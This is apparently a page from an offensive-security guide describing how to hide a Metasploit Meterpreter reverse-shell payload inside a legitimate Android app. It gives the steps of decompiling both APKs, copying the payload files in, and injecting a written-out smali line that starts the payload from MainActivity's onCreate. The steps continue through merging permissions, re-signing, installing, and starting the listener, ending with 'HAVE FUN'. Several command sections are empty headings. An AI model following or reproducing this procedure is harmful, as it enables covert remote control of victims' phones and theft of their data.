4.1 DIY - Simple Reverse Meterpreter (Non-Xamarin)
Create Payload
Tampering
Decompile meterpreter.apk & original app_name.apk
Add folder to original project:
Copy payload files:
Get MainActivity name:
In some cases the default name is already "MainActivity"
Search AndroidManifest.xml for an <activity>-tag which contains both:
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
Look out for the tag-parameter: android:name="core.MainActivity" (it can have a different name, core indicates a directory within the smali directory)
Modify MainActivity.smali
Search for:
;->onCreate(Landroid/os/Bundle;)V
Add another line (following the line above) and paste:
invoke-static {p0}, Lcom/metasploit/stage/Payload; ->start(Landroid/content/Context;)V
Add all necessary app permissions from ./meterpreter/AndroidManifest.xml into the original ./original_apk/AndroidManifest.xml
Check for duplicates
If some permissions are missing, some meterpreter functions will not work
Recompile:
Sign apk (key-creation + signing):
Install modified apk
Start meterpreter session handler (use same IP & port as you used to generate the payload above):
START APPLICATION ON DEVICE AND HAVE FUN!!! ;)
INFO
Last updated